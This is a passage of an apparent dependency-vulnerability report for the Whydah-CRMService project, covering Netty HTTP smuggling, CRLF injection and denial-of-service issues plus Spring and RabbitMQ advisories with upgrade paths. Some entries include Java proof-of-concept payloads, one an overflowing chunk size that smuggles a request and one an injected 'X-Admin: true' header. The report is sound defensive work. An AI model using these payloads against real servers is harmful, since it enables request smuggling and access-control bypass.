        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the getChunkSize function. An attacker can inject unauthorized HTTP requests by crafting a chunk size value that causes integer overflow, allowing additional requests to be smuggled within the body of a chunked HTTP message.

PoC

@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpObjectDecoder component. An attacker can manipulate downstream request interpretation by sending specially crafted HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers. This can result in unauthorized access, cache poisoning, or bypassing security controls by causing downstream proxies or handlers to misinterpret message boundaries.

Note:

This is only exploitable if the deployment is behind a reverse proxy or load balancer that prioritizes the Content-Length header, the attacker can send HTTP/1.0 requests, and there is no additional HTTP/1.0 stripping layer between the attacker and the application.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-mqtt
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-mqtt@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of size limits applied to the Properties section during the decoding process. An attacker can cause excessive CPU and memory consumption by sending MQTT messages with extremely large Properties sections.

Remediation

Upgrade io.netty:netty-codec-mqtt to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.springframework:spring-context@3.2.11.RELEASE org.springframework:spring-expression@3.2.11.RELEASE

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling when a user provides a very long SpEL expression.

Remediation

Upgrade org.springframework:spring-expression to version 5.2.24.RELEASE, 5.3.27, 6.0.8 or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the setUri function. An attacker can inject arbitrary CRLF sequences into the HTTP or RTSP request line by supplying crafted input to setUri, leading to the creation of additional requests or manipulation of request boundaries when the object is serialized by HttpRequestEncoder or RtspEncoder. This can result in request smuggling, desynchronization, or unauthorized access to internal APIs if attacker-controlled input is passed to setUri and subsequently encoded.

Note:

This is only exploitable if all of the following conditions are met:

  • The application uses DefaultHttpRequest or DefaultFullHttpRequest;

  • The request object is created first and later modified through setUri();

  • The value passed into setUri() is attacker-controlled or attacker-influenced;

  • The object is eventually serialized by HttpRequestEncoder or RtspEncoder.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

CRLF Injection

  • Vulnerable module: io.netty:netty-handler-proxy
  • Introduced through: io.netty:netty-all@4.2.11.Final, io.ratpack:ratpack-core@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-handler-proxy@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.2.11.Final

Overview

Affected versions of this package are vulnerable to CRLF Injection in the newInitialMessage function of HttpProxyHandler when header validation is explicitly disabled and user-influenced outboundHeaders are added without sanitization. An attacker can inject arbitrary HTTP headers into proxy requests by supplying malicious header values containing CRLF sequences.

Notes:

  • This is only exploitable if the application uses HttpProxyHandler with user-influenced outboundHeaders and does not perform its own CRLF sanitization on header values.

  • This is caused due to an incomplete fix for CVE-2025-67735.

PoC

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

        // Simulate HttpProxyHandler.newInitialMessage() with validation=false
        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
            .withValidation(false);

        FullHttpRequest req = new DefaultFullHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
            "target.com:443",
            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

        req.headers().set(HttpHeaderNames.HOST, "target.com:443");

        // Inject CRLF in header value
        String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
        req.headers().set("X-Forwarded-For", malicious);

        // Encode to wire format
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
        ch.writeOutbound(req);
        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
        System.out.println("VULNERABLE: " +
            (encoded.contains("X-Admin: true") ? "YES" : "NO"));
    }
}

Remediation

Upgrade io.netty:netty-handler-proxy to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.springframework:spring-context@3.2.11.RELEASE org.springframework:spring-expression@3.2.11.RELEASE

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via a crafted SpEL expression.

Remediation

Upgrade org.springframework:spring-expression to version 5.2.23.RELEASE, 5.3.26, 6.0.7 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.springframework:spring-context@3.2.11.RELEASE org.springframework:spring-expression@3.2.11.RELEASE

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) by providing a specially crafted SpEL expression, that might result in an OutOfMemoryError.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework:spring-expression to version 5.2.20.RELEASE, 5.3.17 or higher.

References

medium severity

Resource Exhaustion

  • Vulnerable module: com.rabbitmq:amqp-client
  • Introduced through: io.ratpack:ratpack-dropwizard-metrics@1.9.0

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.dropwizard.metrics:metrics-graphite@4.1.6 com.rabbitmq:amqp-client@5.5.3

Overview

Affected versions of this package are vulnerable to Resource Exhaustion in DirectMessageListenerContainer.java, which does not use maxBodyLebgth. An attacker can cause a memory overflow and trigger an Out Of Memory error by sending a very large Message object.

Remediation

Upgrade com.rabbitmq:amqp-client to version 5.14.3, 5.16.1, 5.17.1 or higher.

References

medium severity

EPL-1.0 license

  • Module: org.aspectj:aspectjweaver
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.aspectj:aspectjweaver@1.7.4

EPL-1.0 license

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-context
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.springframework:spring-context@3.2.11.RELEASE

Overview

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity via the patterns for disallowedFields on a DataBinder. As a result, a field is not effectively protected unless it is listed with both upper and lower case for the first character of the field, including nested fields within the property path.

Remediation

Upgrade org.springframework:spring-context to version 5.2.21, 5.3.19 or higher.

References

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-context
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.springframework:spring-context@3.2.11.RELEASE

Overview

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade org.springframework:spring-context to version 6.1.14 or higher.

References